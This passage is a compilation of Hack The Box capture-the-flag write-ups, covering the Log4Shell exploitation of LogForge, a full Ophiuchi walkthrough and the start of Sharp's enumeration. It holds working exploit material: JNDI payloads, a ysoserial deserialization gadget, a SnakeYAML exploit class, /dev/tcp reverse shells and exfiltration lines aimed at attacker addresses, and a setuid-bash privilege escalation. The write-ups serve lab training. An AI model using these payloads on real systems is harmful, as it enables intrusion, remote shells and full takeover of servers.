可能会注意到这个错误消息来自一个日志管理器，比如Log4j。此Java包具有执行JNDI (Java Naming and Directory Interface) lookups的特性。可能会受到CVE-2021-44228 (Log4Shell)漏洞的影响。

验证CVE-2021-44228 (Log4Shell)漏洞是否存在, payload:

``` bash
${jndi:ldap://10.10.14.30:9001/exp}
```

如下图位置放置payload

 - ![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/log4j5.png)

成功收到请求包，log4shell存在

``` bash
┌──(root💀kali-linux-2021-1)-[~/hackthebox-tmp/logforge]
└─# nc -lvp 9001
Ncat: Version 7.92 ( https://nmap.org/ncat )
Ncat: Listening on :::9001
Ncat: Listening on 0.0.0.0:9001
Ncat: Connection from 10.10.11.138.
Ncat: Connection from 10.10.11.138:54332.
0
 `�
```

 - 使用前面介绍的ysoserial修改版生成反弹shell的payload

``` bash
┌──(root💀kali-linux-2021-1)-[~/ysoserial-modified/target]
└─# echo -n 'bash  -i >& /dev/tcp/10.10.14.30/4444 0>&1' | base64
YmFzaCAgLWkgPiYgL2Rldi90Y3AvMTAuMTAuMTQuMzAvNDQ0NCAwPiYx
┌──(root💀kali-linux-2021-1)-[~/ysoserial-modified/target]
└─# java -jar ysoserial-modified.jar CommonsCollections5 bash 'echo YmFzaCAgLWkgPiYgL2Rldi90Y3AvMTAuMTAuMTQuMzAvNDQ0NCAwPiYx | base64 -d | bash' > /root/hackthebox-tmp/logforge/payload.ser
WARNING: An illegal reflective access operation has occurred
WARNING: Illegal reflective access by ysoserial.payloads.CommonsCollections5 (file:/root/ysoserial-modified/target/ysoserial-modified.jar) to field javax.management.BadAttributeValueExpException.val
WARNING: Please consider reporting this to the maintainers of ysoserial.payloads.CommonsCollections5
WARNING: Use --illegal-access=warn to enable warnings of further illegal reflective access operations
WARNING: All illegal access operations will be denied in a future release

┌──(root💀kali-linux-2021-1)-[~/hackthebox-tmp/logforge]
└─# cat payload.ser 
��sr.javax.management.BadAttributeValueExpException��ګc-F@LvaltLjava/lang/Object;xrjava.lang.Exception��>�;�xrjava.lang.Throwable��5'9w��LcausetLjava/lang/ThrowabdetailMessagetLjava/lang/String;[
stackTracet[Ljava/lang/StackTraceElement;LsuppressedExceptionstLjava/util/List;xpqpur[Ljava.lang.StackTraceElement;F*<<�"9xpsrava.lang.StackTraceElementa	Ś&BformatI
lineNumberLclassLoaderNameq~LdeclaringClassq~fileNameq~L
methodNameq~L
moduleVersionq~xpJtappt&ysoserial.payloads.CommonsCollections5tCommonsCollections5.javat	getObjectppsq~
q~q~q~ppsq~                                                                                                   ,q~
tysoserial.GeneratePayloadtGeneratePayload.javatmainppsrjava.util.Collections$EmptyListz��<���xpxsr4org.apache.commons.collections.keyvalue.TiedMapEntry��қ9��Lkeyq~LmaptLjava/util/Map;xptfoosr*org.apache.commons.collections.map.LazyMapn唂�y�Lfactoryt,Lorg/apache/commons/collections/Transformer;xpsr:org.apache.commons.colleiTransformerst-[Lorg/apache/commons/collections/Transformer;xpur-[Lorg.apache.commons.collections.Transformer;�V*��4�xpsr;org.apache.commons.collections.functors.ConstantTransformerXv�A��L	iConstantq~xpvrjava.lang.Runtimexpsr:org.apache.commons.collections.functors.InvokerTransformer���k{|�8[iArgst[Ljava/lang/Object;L
                                                                                                                                                                 iMethodNameq~[
             iParamTypest[Ljava/lang/Class;xpur[Ljava.lang.Object;��X�s)lxpt
getRuntimeur[Ljava.lang.Class;�׮��Z�xpt	getMethoduq~/vrjava.lang.String��8z;�Bxpvq~/sq~(uq~,puq~,tinvokeuq~/vrjava.lang.Objectxpvq~,sq~(uq~,ur[Ljava.lang.String;��V��{Gxpt	/bin/basht-ctPecho YmFzaCAgLWkgPiYgL2Rldi90Y3AvMTAuMTAuMTQuMzAvNDQ0NCAwPiYx | base64 -d | bashtexecuq~/vq~@sq~$srjava.lang.Integer⠤���8Ivaluexrjava.lang.Number���
                ���xpsrjava.util.HashMap���`�F
loadFactorI	thresholdxp?@xx
```

 - 现在再使用前面介绍的JNDI-Exploit-Kit开启LDAP服务端

``` bash
┌──(root💀kali-linux-2021-1)-[~/JNDI-Exploit-Kit/target]
└─# java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -L 10.10.14.30:1389 -P /root/hackthebox-tmp/logforge/payload.ser
       _ _   _ _____ _____      ______            _       _ _          _  ___ _   
      | | \ | |  __ \_   _|    |  ____|          | |     (_) |        | |/ (_) |  
      | |  \| | |  | || |______| |__  __  ___ __ | | ___  _| |_ ______| ' / _| |_ 
  _   | | . ` | |  | || |______|  __| \ \/ / '_ \| |/ _ \| | __|______|  < | | __|
 | |__| | |\  | |__| || |_     | |____ >  <| |_) | | (_) | | |_       | . \| | |_ 
  \____/|_| \_|_____/_____|    |______/_/\_\ .__/|_|\___/|_|\__|      |_|\_\_|\__|
                                           | |                                    
                                           |_|               created by @welk1n 
                                                             modified by @pimps 

[HTTP_ADDR] >> 10.10.14.30
[RMI_ADDR] >> 10.10.14.30
[LDAP_ADDR] >> 10.10.14.30
[COMMAND] >> open /System/Applications/Calculator.app
----------------------------JNDI Links---------------------------- 
Target environment(Build in JDK - (BYPASS WITH GROOVY by @orangetw) whose trustURLCodebase is false and have Tomcat 8+ and Groovy in classpath):
rmi://10.10.14.30:1099/yz36ka
Target environment(Build in JDK 1.5 whose trustURLCodebase is true):
rmi://10.10.14.30:1099/relqou
ldap://10.10.14.30:1389/relqou
Target environment(Build in JDK 1.6 whose trustURLCodebase is true):
rmi://10.10.14.30:1099/fda54l
ldap://10.10.14.30:1389/fda54l
Target environment(Build in JDK 1.7 whose trustURLCodebase is true):
rmi://10.10.14.30:1099/jmlhtq
ldap://10.10.14.30:1389/jmlhtq
Target environment(Build in JDK - (BYPASS WITH EL by @welk1n) whose trustURLCodebase is false and have Tomcat 8+ or SpringBoot 1.2.x+ in classpath):
rmi://10.10.14.30:1099/6lfxah
Target environment(Build in JDK 1.8 whose trustURLCodebase is true):
rmi://10.10.14.30:1099/o7bhyq
ldap://10.10.14.30:1389/o7bhyq

----------------------------Server Log----------------------------
2021-12-29 11:48:12 [JETTYSERVER]>> Listening on 10.10.14.30:8180
2021-12-29 11:48:12 [RMISERVER]  >> Listening on 10.10.14.30:1099
2021-12-29 11:48:12 [LDAPSERVER] >> Listening on 0.0.0.0:1389
```

选择JDK 1.8的 JNDI payload:

``` bash
${jndi:ldap://10.10.14.30:1389/o7bhyq}
```

放入payload后再点击按钮，nc可以接收到一个rev shell

``` bash
2021-12-29 11:52:27 [LDAPSERVER] >> Send LDAP object with serialized payload: ACED00057372002E6A617661782E6D616E6167656D656E742E42616441747472696275746556616C7565457870457863657074696F6ED4E7DAAB632D46400200014C000376616C7400124C6A6176612F6C616E672F4F626A6563743B787200136A6176612E6C616E672E457863657074696F6ED0FD1F3E1A3B1CC4020000787200136A6176612E6C616E672E5468726F7761626C65D5C635273977B8CB0300044C000563617573657400154C6A6176612F6C616E672F5468726F7761626C653B4C000D64657461696C4D6573736167657400124C6A6176612F6C616E672F537472696E673B5B000A737461636B547261636574001E5B4C6A6176612F6C616E672F537461636B5472616365456C656D656E743B4C001473757070726573736564457863657074696F6E737400104C6A6176612F7574696C2F4C6973743B787071007E0008707572001E5B4C6A6176612E6C616E672E537461636B5472616365456C656D656E743B02462A3C3CFD22390200007870000000037372001B6A6176612E6C616E672E537461636B5472616365456C656D656E746109C59A2636DD85020008420006666F726D617449000A6C696E654E756D6265724C000F636C6173734C6F616465724E616D6571007E00054C000E6465636C6172696E67436C61737371007E00054C000866696C654E616D6571007E00054C000A6D6574686F644E616D6571007E00054C000A6D6F64756C654E616D6571007E00054C000D6D6F64756C6556657273696F6E71007E00057870010000004A74000361707074002679736F73657269616C2E7061796C6F6164732E436F6D6D6F6E73436F6C6C656374696F6E7335740018436F6D6D6F6E73436F6C6C656374696F6E73352E6A6176617400096765744F626A65637470707371007E000B010000002C71007E000D71007E000E71007E000F71007E001070707371007E000B010000003171007E000D74001979736F73657269616C2E47656E65726174655061796C6F616474001447656E65726174655061796C6F61642E6A6176617400046D61696E70707372001F6A6176612E7574696C2E436F6C6C656374696F6E7324456D7074794C6973747AB817B43CA79EDE020000787078737200346F72672E6170616368652E636F6D6D6F6E732E636F6C6C656374696F6E732E6B657976616C75652E546965644D6170456E7472798AADD29B39C11FDB0200024C00036B657971007E00014C00036D617074000F4C6A6176612F7574696C2F4D61703B7870740003666F6F7372002A6F72672E6170616368652E636F6D6D6F6E732E636F6C6C656374696F6E732E6D61702E4C617A794D61706EE594829E7910940300014C0007666163746F727974002C4C6F72672F6170616368652F636F6D6D6F6E732F636F6C6C656374696F6E732F5472616E73666F726D65723B78707372003A6F72672E6170616368652E636F6D6D6F6E732E636F6C6C656374696F6E732E66756E63746F72732E436861696E65645472616E73666F726D657230C797EC287A97040200015B000D695472616E73666F726D65727374002D5B4C6F72672F6170616368652F636F6D6D6F6E732F636F6C6C656374696F6E732F5472616E73666F726D65723B78707572002D5B4C6F72672E6170616368652E636F6D6D6F6E732E636F6C6C656374696F6E732E5472616E73666F726D65723BBD562AF1D83418990200007870000000057372003B6F72672E6170616368652E636F6D6D6F6E732E636F6C6C656374696F6E732E66756E63746F72732E436F6E7374616E745472616E73666F726D6572587690114102B1940200014C000969436F6E7374616E7471007E00017870767200116A6176612E6C616E672E52756E74696D65000000000000000000000078707372003A6F72672E6170616368652E636F6D6D6F6E732E636F6C6C656374696F6E732E66756E63746F72732E496E766F6B65725472616E73666F726D657287E8FF6B7B7CCE380200035B000569417267737400135B4C6A6176612F6C616E672F4F626A6563743B4C000B694D6574686F644E616D6571007E00055B000B69506172616D54797065737400125B4C6A6176612F6C616E672F436C6173733B7870757200135B4C6A6176612E6C616E672E4F626A6563743B90CE589F1073296C02000078700000000274000A67657452756E74696D65757200125B4C6A6176612E6C616E672E436C6173733BAB16D7AECBCD5A990200007870000000007400096765744D6574686F647571007E002F00000002767200106A6176612E6C616E672E537472696E67A0F0A4387A3BB34202000078707671007E002F7371007E00287571007E002C00000002707571007E002C00000000740006696E766F6B657571007E002F00000002767200106A6176612E6C616E672E4F626A656374000000000000000000000078707671007E002C7371007E00287571007E002C00000001757200135B4C6A6176612E6C616E672E537472696E673BADD256E7E91D7B470200007870000000037400092F62696E2F626173687400022D637400506563686F20596D467A614341674C576B67506959674C32526C64693930593341764D5441754D5441754D5451754D7A41764E4451304E43417750695978207C20626173653634202D64207C2062617368740004657865637571007E002F000000017671007E00407371007E0024737200116A6176612E6C616E672E496E746567657212E2A0A4F781873802000149000576616C7565787200106A6176612E6C616E672E4E756D62657286AC951D0B94E08B020000787000000001737200116A6176612E7574696C2E486173684D61700507DAC1C31660D103000246000A6C6F6164466163746F724900097468726573686F6C6478703F40000000000000770800000010000000007878
```

``` bash
┌──(root💀kali-linux-2021-1)-[~/hackthebox-tmp/logforge]
└─# nc -lvp 4444                                                                                                                                            130 ⨯
Ncat: Version 7.92 ( https://nmap.org/ncat )
Ncat: Listening on :::4444
Ncat: Listening on 0.0.0.0:4444
Ncat: Connection from 10.10.11.138.
Ncat: Connection from 10.10.11.138:38750.
bash: cannot set terminal process group (787): Inappropriate ioctl for device
bash: no job control in this shell
tomcat@LogForge:/var/lib/tomcat9$ id
id
uid=997(tomcat) gid=997(tomcat) groups=997(tomcat)
tomcat@LogForge:/var/lib/tomcat9$ whoami
whoami
tomcat
```

 - ![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/log4j6.png)

至此使用修改版ysoserial和JNDI-Exploit-Kit复现log4j漏洞成功。
<!-- kb:end log4j -->

</details>

<a id="case-ophiuchi"></a>

## YAML 加载与 WASM 返回值

SnakeYAML 输入触发 Java 对象加载，后续 Go 程序依赖 WASM 结果决定执行。模块分析、修改与 sudo 运行条件保留在原链。

<p class="kb-provenance">来源 Ophiuchi · 原记录 2021-02-14 · 13 个代码块 · 4 处图片引用</p>

<details class="kb-evidence" id="record-ophiuchi">
<summary>查看分析过程、攻击步骤与完整代码</summary>

<!-- kb:start Ophiuchi -->

#### introduce

OS: Linux
Difficulty: Medium
Points:	30
Release:	13 Feb 2021
IP:	10.10.10.227

 - ![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/htb185.jpg)

 - ![my htb rank](http://www.hackthebox.eu/badge/image/235857)



#### information gathering

first use nmap as usaul

``` bash
┌──(root💀kali)-[~/hackthebox/machine/ophiuchi]
└─# nmap -sV -v -p- --min-rate=10000 10.10.10.227
PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.1 (Ubuntu Linux; protocol 2.0)
8080/tcp open  http    Apache Tomcat 9.0.38
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
```

#### get user

on port 8080 we found Online YAML Parser

after google search, we found an exploit

 - [yaml-payload](https://github.com/artsploit/yaml-payload)

download the exploit, then modify src/artsploit/AwesomeScriptEngineFactory.java to the following content

``` bash
package artsploit;

import javax.script.ScriptEngine;
import javax.script.ScriptEngineFactory;
import java.io.IOException;
import java.util.List;

public class AwesomeScriptEngineFactory implements ScriptEngineFactory {

    public AwesomeScriptEngineFactory() {
        String [] cmd={"bash","-c","bash -i >& /dev/tcp/10.10.14.5/9001 0>&1"};
        String [] jex={"bash","-c","{echo,$(echo -n $cmd | base64)}|{base64,-d}|{bash,-i}"};
        try {
            Runtime.getRuntime().exec(cmd);
            Runtime.getRuntime().exec(jex);
            Runtime.getRuntime().exec("echo $jex");
        } catch (IOException e) {
            e.printStackTrace();
        }
    }

    @Override
    public String getEngineName() {
        return null;
    }

    @Override
    public String getEngineVersion() {
        return null;
    }

    @Override
    public List<String> getExtensions() {
        return null;
    }

    @Override
    public List<String> getMimeTypes() {
        return null;
    }

    @Override
    public List<String> getNames() {
        return null;
    }

    @Override
    public String getLanguageName() {
        return null;
    }

    @Override
    public String getLanguageVersion() {
        return null;
    }

    @Override
    public Object getParameter(String key) {
        return null;
    }

    @Override
    public String getMethodCallSyntax(String obj, String m, String... args) {
        return null;
    }

    @Override
    public String getOutputStatement(String toDisplay) {
        return null;
    }

    @Override
    public String getProgram(String... statements) {
        return null;
    }

    @Override
    public ScriptEngine getScriptEngine() {
        return null;
    }
}
```

compile and serve:

``` bash
javac src/artsploit/AwesomeScriptEngineFactory.java
cd src
python3 -m http.server 80
```

trigger exploit: browse to http://10.10.14.5:8080/ and enter:

``` bash
!!javax.script.ScriptEngineManager [
  !!java.net.URLClassLoader [[
    !!java.net.URL ["http://10.10.14.5/"]
  ]]
]
```

privesc from tomcat to admin:

``` bash
┌──(root💀kali)-[~]
└─# nc -lvp 9001
Ncat: Version 7.91 ( https://nmap.org/ncat )
Ncat: Listening on :::9001
Ncat: Listening on 0.0.0.0:9001
Ncat: Connection from 10.10.10.227.
Ncat: Connection from 10.10.10.227:58294.
bash: cannot set terminal process group (815): Inappropriate ioctl for device
bash: no job control in this shell
tomcat@ophiuchi:/$ id
whoid
uid=1001(tomcat) gid=1001(tomcat) groups=1001(tomcat)
tomcat@ophiuchi:/$ ami
whoami
tomcat
tomcat@ophiuchi:/$ cd ~
cd ~
tomcat@ophiuchi:~$ ls
ls
bin
BUILDING.txt
conf
CONTRIBUTING.md
lib
LICENSE
logs
NOTICE
README.md
RELEASE-NOTES
RUNNING.txt
temp
webapps
work
tomcat@ophiuchi:~$ cd conf
cd conf
tomcat@ophiuchi:~/conf$ ls
ls
catalina.policy
catalina.properties
context.xml
jaspic-providers.xml
jaspic-providers.xsd
logging.properties
server.xml
tomcat-users.xml
tomcat-users.xsd
web.xml
tomcat@ophiuchi:~/conf$ cat * | grep pass
cat * | grep pass
# passed to checkPackageAccess unless the
# passed to checkPackageDefinition unless the
         analyzes the HTTP headers included with the request, and passes them
      <!-- Use the LockOutRealm to prevent attempts to guess user passwords
<user username="admin" password="whythereisalimit" roles="manager-gui,admin-gui"/>
  you must define such a user - the username and password are arbitrary. It is
  them. You will also need to set the passwords to something appropriate.
  <user username="tomcat" password="<must-be-changed>" roles="tomcat"/>
  <user username="both" password="<must-be-changed>" roles="tomcat,role1"/>
  <user username="role1" password="<must-be-changed>" roles="role1"/>
            <xs:attribute name="password" type="xs:string" />
  <!--                       pass the result to this style sheet residing   -->
  <!--                       pass the result to this style sheet which is   -->
  <!--                        work-around various issues when Java passes   -->
  <!--                        headers passed to the CGI process as          -->
  <!--   passShellEnvironment Should the shell environment variables (if    -->
  <!--                        any) be passed to the CGI script? [false]     -->
        <mime-type>application/vnd.blueice.multipass</mime-type>
tomcat@ophiuchi:~/conf$ su admin
su admin
Password: whythereisalimit
id
uid=1000(admin) gid=1000(admin) groups=1000(admin)
whoami
admin
python -c 'import pty; pty.spawn("/bin/bash")'
bash: line 3: python: command not found
python3 -c 'import pty; pty.spawn("/bin/bash")'
admin@ophiuchi:/opt/tomcat/conf$ id
id
uid=1000(admin) gid=1000(admin) groups=1000(admin)
```

then got the user flag

``` bash
admin@ophiuchi:/opt/tomcat/conf$ cd
cd
admin@ophiuchi:~$ ls
ls
user.txt
admin@ophiuchi:~$ cat user.txt
cat user.txt
4985ea2805b1c7ee8adca11a4f0b0b39
```

 - ![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/htb186.jpg)

#### get root

``` bash
┌──(root💀kali)-[~/hackthebox/machine/ophiuchi]
└─# ssh admin@10.10.10.227
The authenticity of host '10.10.10.227 (10.10.10.227)' can't be established.
ECDSA key fingerprint is SHA256:OmZ+JsRqDVNaBWMshp7wogZM0KhSKkp1YmaILhRxSY0.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '10.10.10.227' (ECDSA) to the list of known hosts.
admin@10.10.10.227's password: 
Welcome to Ubuntu 20.04 LTS (GNU/Linux 5.4.0-51-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/advantage

  System information as of Sun 14 Feb 2021 08:42:54 AM UTC

  System load:             0.0
  Usage of /:              20.4% of 27.43GB
  Memory usage:            18%
  Swap usage:              0%
  Processes:               219
  Users logged in:         0
  IPv4 address for ens160: 10.10.10.227
  IPv6 address for ens160: dead:beef::250:56ff:feb9:1c49


176 updates can be installed immediately.
56 of these updates are security updates.
To see these additional updates run: apt list --upgradable


The list of available updates is more than a week old.
To check for new updates run: sudo apt update
Failed to connect to https://changelogs.ubuntu.com/meta-release-lts. Check your Internet connection or proxy settings


Last login: Sat Feb 13 19:55:31 2021 from 10.10.14.17
admin@ophiuchi:~$ id
uid=1000(admin) gid=1000(admin) groups=1000(admin)
admin@ophiuchi:~$ sudo -l
Matching Defaults entries for admin on ophiuchi:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User admin may run the following commands on ophiuchi:
    (ALL) NOPASSWD: /usr/bin/go run /opt/wasm-functions/index.go
```

download main.wasm:

1. start listener on your machine

``` bash
┌──(root💀kali)-[~/hackthebox/machine/ophiuchi]
└─# nc -lvnp 9002 > main.wasm
Ncat: Version 7.91 ( https://nmap.org/ncat )
Ncat: Listening on :::9002
Ncat: Listening on 0.0.0.0:9002
Ncat: Connection from 10.10.10.227.
Ncat: Connection from 10.10.10.227:55062.
```
2. send file

``` bash
admin@ophiuchi:~$ cat /opt/wasm-functions/main.wasm > /dev/tcp/10.10.14.5/9002
```

analyze file:

1. upload at https://webassembly.github.io/wabt/demo/wasm2wat/index.html

2. edit the 0 to a 1 and copy the code:
``` bash
(module
  (type $t0 (func (result i32)))
  (func $info (export "info") (type $t0) (result i32)
    (i32.const 1))
  (table $T0 1 1 funcref)
  (memory $memory (export "memory") 16)
  (global $g0 (mut i32) (i32.const 1048576))
  (global $__data_end (export "__data_end") i32 (i32.const 1048576))
  (global $__heap_base (export "__heap_base") i32 (i32.const 1048576)))
```
3. paste the code at https://webassembly.github.io/wabt/demo/wat2wasm/index.html

4. click on download

5. transfer the downloaded file to target to a writeable directory

6. create deploy.sh and run sudo command:

``` bash
┌──(root💀kali)-[~/hackthebox/machine/ophiuchi]
└─# python -m SimpleHTTPServer 80
Serving HTTP on 0.0.0.0 port 80 ...
10.10.10.227 - - [14/Feb/2021 04:02:19] "GET /test.wasm HTTP/1.1" 200 -
```

``` bash
cd /tmp
echo "chmod +s /bin/bash" > deploy.sh
wget http://10.10.14.5/test.wasm main.wasm
chmod 777 *
sudo -u root /usr/bin/go run /opt/wasm-functions/index.go
/bin/bash -p
```

and now we are root

``` bash
admin@ophiuchi:/tmp$ ls
deploy.sh          systemd-private-64051d8f15f4418cbb11018667bc15ad-systemd-logind.service-Y5t4mf     vmware-root_667-3980363901
hsperfdata_tomcat  systemd-private-64051d8f15f4418cbb11018667bc15ad-systemd-resolved.service-lBxjmi   wasm-functions
main.wasm          systemd-private-64051d8f15f4418cbb11018667bc15ad-systemd-timesyncd.service-RVvCVh
admin@ophiuchi:/tmp$ sudo -u root /usr/bin/go run /opt/wasm-functions/index.go
Ready to deploy

admin@ophiuchi:/tmp$ /bin/bash -p
bash-5.0# id
uid=1000(admin) gid=1000(admin) euid=0(root) egid=0(root) groups=0(root),1000(admin)
bash-5.0# whoami
root
bash-5.0# cd
bash-5.0# ls
user.txt
bash-5.0# cd /root
bash-5.0# ls
go  root.txt  snap
bash-5.0# cat root.txt
5296450d942ebf2bd9763b2431f7f1d5
```

 - ![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/htb187.jpg)


#### Summary of knowledge

 - modify yaml-payload to get a reverse shell
 - tomcat password leak
 - .wasm file analyse and modify
 - privesc through NOPASSWD /usr/bin/go

#### Contact me

 - QQ: 1185151867
 - twitter: https://twitter.com/fdlucifer11
 - github: https://github.com/FDlucifer

<font color="blue">I'm lUc1f3r11, a ctfer, reverse engineer, ioter, red teamer, coder, gopher, pythoner, AI lover, security reseacher, hacker, bug hunter and more...</font>
<!-- kb:end Ophiuchi -->

</details>

<a id="case-sharp"></a>

## 应用配置、.NET Remoting 与 WCF

Kanban 配置中的账户状态连接到 .NET 远程服务；dnSpy、ysoserial.net 与特权 WCF 服务的原有执行分支全部保留。

<p class="kb-provenance">来源 sharp · 原记录 2021-01-08 · 26 个代码块 · 20 处图片引用</p>

<details class="kb-evidence" id="record-sharp">
<summary>查看分析过程、攻击步骤与完整代码</summary>

<!-- kb:start sharp -->

#### introduce

OS: Windows
Difficulty: Hard
Points:	40
Release:	05 Dec 2020
IP:	10.10.10.219

 - ![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/htb136.jpg)

 - ![my htb rank](http://www.hackthebox.eu/badge/image/235857)



#### information gathering

first use nmap as usaul

``` bash
┌──(root💀kali)-[~/hackthebox/machine/sharp]
└─# nmap -sV -v -p- --min-rate=10000 10.10.10.219
PORT     STATE SERVICE         VERSION
135/tcp  open  tcpwrapped
139/tcp  open  netbios-ssn     Microsoft Windows netbios-ssn
445/tcp  open  microsoft-ds?
5985/tcp open  http            Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
8888/tcp open  sun-answerbook?
8889/tcp open  ddi-tcp-2?
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows
```

#### Enumeration

SMB on 149 and 445 is a good first port of call.

#### SMB enum

first run smbmap -H 10.10.10.219 which shows us the directories in the SMB share, and also the permissions that we do or do not have access to.

``` bash
┌──(root💀kali)-[~/hackthebox/machine/sharp]
└─# smbmap -H 10.10.10.219
[+] IP: 10.10.10.219:445        Name: localhost                                         
        Disk                                                    Permissions     Comment
        ----                                                    -----------     -------
        ADMIN$                                                  NO ACCESS       Remote Admin
        C$                                                      NO ACCESS       Default share
        dev                                                     NO ACCESS
        IPC$                                                    NO ACCESS       Remote IPC
        kanban                                                  READ ONLY
```

The kaban directory is accessible to us. We can take a note of this name too, as it may be a username for later on. We can also use smbmap with the -R flag to list out all the files and directories inside of the shares that we have access to:

``` bash
┌──(root💀kali)-[~/hackthebox/machine/sharp]
└─# smbmap -H 10.10.10.219 -R
[+] IP: 10.10.10.219:445        Name: localhost                                         
        Disk                                                    Permissions     Comment
        ----                                                    -----------     -------
        ADMIN$                                                  NO ACCESS       Remote Admin
        C$                                                      NO ACCESS       Default share
        dev                                                     NO ACCESS
        IPC$                                                    NO ACCESS       Remote IPC
        kanban                                                  READ ONLY
        .\kanban\*
        dr--r--r--                0 Sat Nov 14 13:57:04 2020    .
        dr--r--r--                0 Sat Nov 14 13:57:04 2020    ..
        fr--r--r--            58368 Sat Nov 14 13:57:04 2020    CommandLine.dll
        fr--r--r--           141312 Sat Nov 14 13:57:04 2020    CsvHelper.dll
        fr--r--r--           456704 Sat Nov 14 13:57:04 2020    DotNetZip.dll
        dr--r--r--                0 Sat Nov 14 13:57:59 2020    Files
        fr--r--r--            23040 Sat Nov 14 13:57:04 2020    Itenso.Rtf.Converter.Html.dll
        fr--r--r--            75776 Sat Nov 14 13:57:04 2020    Itenso.Rtf.Interpreter.dll
        fr--r--r--            32768 Sat Nov 14 13:57:04 2020    Itenso.Rtf.Parser.dll
        fr--r--r--            19968 Sat Nov 14 13:57:04 2020    Itenso.Sys.dll
        fr--r--r--           376832 Sat Nov 14 13:57:04 2020    MsgReader.dll
        fr--r--r--           133296 Sat Nov 14 13:57:04 2020    Ookii.Dialogs.dll
        fr--r--r--          2558011 Sat Nov 14 13:57:04 2020    pkb.zip
        dr--r--r--                0 Sat Nov 14 13:57:04 2020    Plugins
        fr--r--r--             5819 Sat Nov 14 13:57:04 2020    PortableKanban.cfg
        fr--r--r--           118184 Sat Nov 14 13:57:04 2020    PortableKanban.Data.dll
        fr--r--r--          1878440 Sat Nov 14 13:57:04 2020    PortableKanban.exe
        fr--r--r--            31144 Sat Nov 14 13:57:04 2020    PortableKanban.Extensions.dll
        fr--r--r--             2080 Sat Nov 14 13:57:04 2020    PortableKanban.pk3
        fr--r--r--             2080 Sat Nov 14 13:57:04 2020    PortableKanban.pk3.bak
        fr--r--r--               34 Sat Nov 14 13:57:04 2020    PortableKanban.pk3.md5
        fr--r--r--           413184 Sat Nov 14 13:57:04 2020    ServiceStack.Common.dll
        fr--r--r--           137216 Sat Nov 14 13:57:04 2020    ServiceStack.Interfaces.dll
        fr--r--r--           292352 Sat Nov 14 13:57:04 2020    ServiceStack.Redis.dll
        fr--r--r--           411648 Sat Nov 14 13:57:04 2020    ServiceStack.Text.dll
        fr--r--r--          1050092 Sat Nov 14 13:57:04 2020    User Guide.pdf
        .\kanban\Plugins\*
        dr--r--r--                0 Sat Nov 14 13:57:04 2020    .
        dr--r--r--                0 Sat Nov 14 13:57:04 2020    ..
```

To retrieve all of the files and save it to our machine, we can use

``` bash
smbget -R smb://10.10.10.219/kanban
```

We downloaded some stuff for Windows, which may have to (de)compile. Before going to a Windows VM, however, I'd rather read through the files and docs and see if there are any quick and easy ways

#### Kaban Files

use ack to search for strings that we think may be helpful - username, password, port, email, etc.

``` bash
apt-get install ack

┌──(root💀kali)-[~/hackthebox/machine/sharp]
└─# ack -i "password"
PortableKanban.pk3
1:{"Columns":[{"Id":"4757781032fd41b2a4511822e2c08850","SortOrder":0,"Name":"Demo","Limit":0,"TaskOrder":{"SortType":"None","Parameters":[{"Field":"Completed","SortOrder":"Descending"},{"Field":"Deadline","SortOrder":"Ascending"},{"Field":"Priority","SortOrder":"Descending"},{"Field":"Topic","SortOrder":"Ascending"},{"Field":"Person","SortOrder":"Ascending"}]},"AutoComplete":false,"ResetCompleted":false,"TimeStamp":637409769443121006}],"Tasks":[{"Id":"33870d6dfe4146718ba0b2c9f7bc05cf","SeriesId":"00000000000000000000000000000000","SortOrder":"oGdBKcFw","ColumnId":"4757781032fd41b2a4511822e2c08850","TopicId":"00000000000000000000000000000000","PersonId":"00000000000000000000000000000000","Text":"New Task","Priority":"Low","Created":"\/Date(1605380100000+0100)\/","CreatedBy":"e8e29158d70d44b1a1ba4949d52790a0","Modified":"\/Date(-62135596800000)\/","ModifiedBy":"00000000000000000000000000000000","Deadline":"\/Date(1605308400000+0100)\/","HasDeadline":false,"Completed":"\/Date(1605308400000+0100)\/","CompletedBy":"00000000000000000000000000000000","Done":false,"Canceled":false,"Link":"","Subtasks":[],"Tags":[],"Estimate":0,"Progress":0,"Points":0,"Comments":[],"CustomFields":{},"TimeStamp":637409769542424146}],"TimeTracks":[],"Persons":[],"Topics":[],"Tags":[],"Views":[],"Users":[{"Id":"e8e29158d70d44b1a1ba4949d52790a0","Name":"Administrator","Initials":"","Email":"","EncryptedPassword":"k+iUoOvQYG98PuhhRC7/rg==","Role":"Admin","Inactive":false,"TimeStamp":637409769245503731},{"Id":"0628ae1de5234b81ae65c246dd2b4a21","Name":"lars","Initials":"","Email":"","EncryptedPassword":"Ua3LyPFM175GN8D3+tqwLA==","Role":"User","Inactive":false,"TimeStamp":637409769265925613}],"ServiceMessages":[],"CustomFieldDescriptors":[],"MetaData":{"Id":"ffffffffffffffffffffffffffffffff","SchemaVersion":"4.2.0.0","SchemaVersionModified":"\/Date(1605380100000+0100)\/","SchemaVersionModifiedBy":"e8e29158d70d44b1a1ba4949d52790a0","SchemaVersionChecked":"\/Date(-62135596800000-0000)\/","SchemaVersionCheckedBy":"00000000000000000000000000000000","TimeStamp":637409769001918463}}
```

 - Think of ack like grep . As default, Ack trawls through files in our current working directory and searches for the string we want.

 - Sometimes, grep can be complicated to get right, and also isolates a string from its wider context, which can sometimes be misleading in my opinion

take a closer look at what we have here in PortableKanban.pk3, we have encrypted passwords and some usernames too, with their respective privileges.

``` bash
Administrator
ID: e8e29158d70d44b1a1ba4949d52790a0
Encrypted Password: "k+iUoOvQYG98PuhhRC7/rg=="

Lars
ID: 0628ae1de5234b81ae65c246dd2b4a21
